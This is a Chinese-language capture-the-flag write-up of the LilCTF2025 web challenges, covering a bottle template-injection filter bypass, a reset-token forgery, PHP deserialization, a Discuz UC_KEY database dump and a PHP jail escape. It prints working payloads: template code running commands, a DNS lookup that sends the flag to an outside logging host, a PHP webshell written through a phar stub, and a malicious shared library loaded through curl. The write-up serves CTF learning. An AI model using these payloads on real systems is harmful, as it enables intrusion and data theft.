LilCTF2025

LilCTF2025 WEB WP

ez_bottle

一道关于bottle SSTI的题目

bottle可以通过斜体字进行waf的bypass,这种bypass超模的地方在于它可以直接替换SSTI利用链里的ASCII字符。

目前发现的POC只能替换俩字符,分别是o​,a​,在bottle的SSTI里,他们可以被直接替换成ª​ (U+00AA),º​ (U+00BA)进而绕过各种waf。在使用场景里此trick相当超模。

题目附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]


def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'

if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

zip_file.file.seek(0)

current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)

zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)

try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'

real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'

z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'

files = os.listdir(extract_dir)
files.remove('upload.zip')

return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

if contains_blacklist(content):
return "you are hacker!!!nonono!!!"

try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
return "bbbbbboooottle"


@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)

解题过程

首先可以看到过滤的非常严格

test.tpl

1
2
3
% import ºs
% f = ºs.pºpen('cat /flag')
% raise Exception(f.read())

打包成.zip文件

curl -X POST http://challenge.xinshi.fun:37305/upload -F "file=@test.zip"

参考文章

https://www.cnblogs.com/LAMENTXU/articles/18805019

Ekko_note

题目附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')


class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)


def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function

def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function

def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('date')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))

existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))

existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))

hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()

flash('注册成功,请登录', 'success')
return redirect(url_for('login'))

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))

return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')

if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))

reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))

return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

解题过程

可以看到附件里注释还挺多,尤其是在uuidv8那里

先看一眼整体题目

image

还是先注册一个用户成功登录,点击执行命令让我穿越到2066年

1
2
3
4
5
6
7
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')

找到了调用时间的api

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

管理员可以进行更改api

所以现在就是要伪造admin

有忘记密码的api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

token与uuid v8有关,去网上搜索一下,直接命中搜到了出题人的博客

https://www.cnblogs.com/LAMENTXU/articles/18921150

fetch('/server_info').then(r=>r.json()).then(console.log)

{current_time: 1755347387.967356, server_start_time: 1755390699.0612564}

先忘记密码,向邮箱发送token

python3.14运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
import uuid

def padding(username: str) -> int:
b = username.encode('utf-8')
b = (b[:6] if len(b) > 6 else b.ljust(6, b'\x00'))
return int.from_bytes(b, 'big')

seed = 1755390699.0612564
username = "admin"

random.seed(seed)
a_val = padding(username)

print(f"padding: {a_val}")
print(str(uuid.uuid8(a=a_val)))

再将生成的token重置密码

image

https://app.beeceptor.com/生成一个api返回

1
2
3
4
{
"date": "2066-01-01T00:00:00"
}

image

成功进入命令执行界面

image

无回现,用http://dnslog.cn/进行外带

nslookup $(cat /flag).yourdomain.dnslog.cn

image

Your Uns3r

题目附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

题目分析

getToken()​函数

把两段字符串拼成一个文件路径,并做两道黑名单检查,然后把这个路径返回给调用者。

  • 最终路径格式一定是:
    <prefix>lilctf<suffix>
1
2
3
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}

如果 $result 里包含子串 ‘pearcmd’,就抛异常。
这是为了阻止直接利用类似 pearcmd.php 的已知文件包含点。

1
2
3
4
$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

黑名单,弱比较绕过

所以目前已知的部分exp可以写成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class User
{
public $username = true;
public $value;
}

class Access
{
protected $prefix = '/';
protected $suffix = '/../flag';
}

$user = new User();
$access = new Access();
$user->value = serialize($access);
echo urlencode(serialize($user));
?>

但是这里还得进行绕过异常throw

https://www.cnblogs.com/hithub/p/16634718.html

报错使用throw抛出异常导致__destruct不会执行,我们可以破坏反序列化结构从而绕过,由于类名是正确的就会调用类名的魔术方法__destruct,从而在throw前执行了__destruct

所以先将$user序列化,然后破坏掉结构再进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class User
{
public $username = true;
public $value;
}

class Access
{
protected $prefix = '/';
protected $suffix = '/../flag';
}

$user = new User();
$user = null;
$access = new Access();
$user->value = serialize($access);
$aaa = serialize($user);
echo $aaa;
echo "\n";
$bbb = substr($aaa, 0, -1); // 去掉最后 1 个字节(一般就是 `}`)
echo "\n";
echo $bbb;
echo "\n";
echo urlencode(serialize($bbb));
?>

这里要注意一下,因为是利用破坏结构的方式进行绕过,所以是残缺的字符串,会自动在前面加上s(也就是string)

所以我是将

image

进行url解码,看哪里与编码前的不一样,进行了一个手动去除

image

我曾有一份工作

题目描述

一次备份,换来的是一张辞职信

flag 在 pre_a_flag​ 表里

本题允许使用扫描器

题目解析

image

是DISCUZ x3.5,先dirsearch扫描一下

扫描到了www.zip,里面是网站的备份文件

题目描述里说flag在pre_a_flag​ 表里,也就是我们要拿到数据库

找到config文件夹,里面硬编码了数据库的一些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php


define('UC_CONNECT', 'mysql');
define('UC_STANDALONE', 0);

define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'root');
define('UC_DBPW', '123456');
define('UC_DBNAME', 'lilctf');
define('UC_DBCHARSET', 'utf8mb4');
define('UC_DBTABLEPRE', '`lilctf`.pre_ucenter_');
define('UC_DBCONNECT', 0);

define('UC_AVTURL', '');
define('UC_AVTPATH', '');

define('UC_CHARSET', 'utf-8');
define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb');
define('UC_API', 'http://192.168.114.134/uc_server');
define('UC_APPID', '1');
define('UC_IP', '');
define('UC_PPP', 20);
?>

找到一篇文章为利用uc_key导出数据库

里面说到uc_key用/api/db/dbbak.php操作数据库,先获取code,再访问/api/db/dbbak.php?apptype=discuzx&code=&code

仿照文章中exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$uc_key="N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb";

$a = 'time='.time().'&method=export';
//$a = 'time='.time().'&method=export&tableid=1$sqlpath=backup_2025&backupfilename=1_a';
echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

image

得到sql文件,部分如下

1
2
3
4
5
CREATE TABLE pre_a_flag (
`id` smallint(6) unsigned NOT NULL,
flag varchar(100) NOT NULL,
UNIQUE KEY cpgroupperm (`id`,flag)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

并且还已知这个是第一个表

接着就可以查看

image

sql文件部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Identify: MTc1NTY3MDY4MCxYMy41LGRpc2N1engsbXVsdGl2b2wsMQ==
# <?php exit();?>
# discuzx Multi-Volume Data Dump Vol.1
# Time: 2025-08-20 06:18:00
# Type: discuzx
# Table Prefix: pre_
# utf8mb4
# discuzx Home: https://www.discuz.vip
# Please visit our website for newest infomation about discuzx
# --------------------------------------------------------


INSERT INTO pre_a_flag VALUES ('1',0x666c61677b746573745f666c61677d);
INSERT INTO pre_a_flag VALUES ('2',0x4c494c4354467b686176455f794f555f4630554e445f405f4a4f625f6e23773f5f6841684068617d);

image

php_jail_is_my_cry

题目描述

PHP Jail is my CRY

请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题

本题不出网, 最终需要执行 /readflag

hint:并没有开启 allow_url_include

101218_web-php_jail_is_my_cry.zip

题目解析

通过dockerfile得知php版本为8.3.0

先查看index.php源代码,发现了上传文件的关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);

// I hide a trick to bypass open_basedir, I'm sure you can find it.

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}

由于 basename()​ 会剥离路径,仅保留纯文件名,上传内容中若含有 <?​ / php​ / halt​ 会被拒绝,内容是直接用 cURL​ 读取的,不经过 web 解析,所以没法解码成木马指令来执行。

那么就只能用Phar 反序列化

https://fushuling.com/index.php/2025/07/30/%e5%bd%93include%e9%82%82%e9%80%85phar-deadsecctf2025-baby-web/

省流:

  • 外表是 gzip 格式;

  • 里面是 tar + Phar 元数据;

  • PHP 打开它的时候就需要:

    1. 判断是 gzip;
    2. 解压到临时流;
    3. 再继续扫描 __HALT_COMPILER();​ 或 tar header;

要是我们打包成了gz,那么 PHP 会识别成gz,通过 phar_parse_zipfile()​ 去解析。

最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

注:php.ini文件中改为phar.readonly = Off

这时还有明显的关键字

image

于是我们把它打包一下,关键字就会完全消失了,

当我们include这个.phar.gz文件时,php会自动解压这个gz文件,所以最后相当于是直接include这个phar文件,而这里有关键字:

1
2
3
4
<?php
system('whoami');
__HALT_COMPILER();
?>

所以就直接rce了

但是这道题直接传上去没有任何回显,估计可能是函数禁用了,push gpt写代码看可用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
/**
* 离线分析 php.ini 中 disable_functions,并列出所有可用函数 + 语言结构
*/

if ($argc < 2) {
echo "❌ 用法: php {$argv[0]} /path/to/php.ini\n";
exit(1);
}

$iniPath = $argv[1];
if (!file_exists($iniPath)) {
echo "❌ 找不到 php.ini 文件: $iniPath\n";
exit(1);
}

// --- 1. 获取 disable_functions ---
$iniContent = file_get_contents($iniPath);
preg_match('/^\s*disable_functions\s*=\s*(.*)$/mi', $iniContent, $matches);
$disabledRaw = $matches[1] ?? '';
$disabledFunctions = array_filter(array_map('trim', explode(',', $disabledRaw)));
$disabledFunctions = array_map('strtolower', $disabledFunctions);

echo "🔒 禁用函数数量: " . count($disabledFunctions) . "\n";

// --- 2. 获取所有内置函数 ---
$allFunctions = get_defined_functions()['internal'];
$allFunctions = array_map('strtolower', $allFunctions);
sort($allFunctions);

// --- 3. 剔除禁用函数 ---
$availableFunctions = array_diff($allFunctions, $disabledFunctions);
sort($availableFunctions);

// --- 4. 常见语言结构(永远可用) ---
$languageConstructs = [
'include', 'include_once', 'require', 'require_once',
'echo', 'print', 'isset', 'empty', 'exit', 'die',
'array', 'eval' // 注:eval 是特例,会被 disable_functions 禁用
];

$languageConstructsAvailable = [];
foreach ($languageConstructs as $construct) {
if (!in_array($construct, $disabledFunctions)) {
$languageConstructsAvailable[] = $construct;
}
}

echo "✅ 可用函数数量: " . count($availableFunctions) . "\n";
echo "🧱 可用语言结构数量: " . count($languageConstructsAvailable) . "\n";

// --- 5. 保存所有结果 ---
file_put_contents("available_functions.txt", implode("\n", $availableFunctions));
file_put_contents("available_language_constructs.txt", implode("\n", $languageConstructsAvailable));

echo "📄 函数保存: available_functions.txt\n";
echo "📄 语言结构保存: available_language_constructs.txt\n";

结果如下

available_functions.txt

available_language_constructs.txt

发现file_put_contents​没有被禁用

那么可以利用 include​ 加载这个 .phar.gz​ 文件,执行 stub​ 里的 file_put_contents()​ 写入木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

转为.phar.gz并上传

challenge.xinshi.fun:31441/?down=exploit.phar.gz

题目中 include($_GET['down'])​ 的逻辑会触发 stub 被执行,在服务器 /var/www/html/1.php​ 写入木马代码

利用木马读 index.php​ 源码

image

得出完整代码中的关键部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all"); // secret trick to bypass, omg why will i show it to you!
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}

可以发现隐藏的代码是curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");

于是可以搜索到

https://github.com/php/php-src/issues/16802

curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all")​是 PHP 中用于配置 cURL 会话的代码,其核心作用是允许 cURL 使用所有支持的协议进行数据传输。那用法显而易见,可以配合file://​协议进行任意文件读取

它是 PHP cURL 中最核心的选项之一,用于控制 curl_exec()​函数的行为。其核心功能是将请求的响应内容作为字符串返回。

那么payload就是

1
2
3
4
5
6
$ch = curl_init();//这里填要读取的文件
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
echo $data;
curl_close($ch);

但是根据题目,我们要先运行readflag,才可以拿到flag

于是根据https://hackerone.com/reports/3293801

省流:

在类 POSIX 系统(Linux、macOS 等)上,curl 命令行工具存在任意代码执行漏洞。engine选项允许从共享库(.so文件)中加载OpenSSL加密引擎。最重要的是,该选项接受库文件的绝对路径或相对路径,允许用户加载文件系统上的任何共享库。
攻击者可以制作一个包含 attribute((constructor)) 函数的恶意共享库。当库被加载到 curl 进程的内存中时,动态加载器就会执行该函数,从而立即执行代码,甚至在 OpenSSL 尝试将其初始化为引擎之前也是如此。
如果攻击者能够影响传递给 curl 命令的参数,这将导致直接 RCE,这在网络应用程序后端、CI/CD 管道和其他自动化脚本中很常见。

也就是说只要我们把恶意so​文件传上去再通过curl --engine​调用即可rce​,但是这个题目并不能使用这个命令,但是有相对应的cURL函数,我们来找一下

CURLOPT_SSLENGINE​的作用:此选项用于设置 OpenSSL 引擎的名称或动态库路径。

那么payload就清楚了,只需要对上面的payload稍作修改即可

1
2
3
4
5
$ch = curl_init();//这里填要读取的文件
curl _setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil_engine.so")//evil_engine.so即为恶意库
$data = curl_exec($ch);
echo $data;
curl_close($ch);

现在我们来编写恶意库so

1
2
3
4
5
6
#include <stdlib.h>

__attribute__((constructor))
static void rce_init(void) {
system("/readflag > /var/www/html/flag.txt");
}

然后gcc -fPIC -shared -o evil_engine.so evil_engine.c​编译这个文件即可

再将evil_engine.so​上传

image

将写好的payload上传到1.php

image

说明执行成功,再访问flag.txt

image


LilCTF2025
http://example.com/post/lilctf2025-z1kq5ne.html
作者
Dre4m
发布于
2025年8月18日
许可协议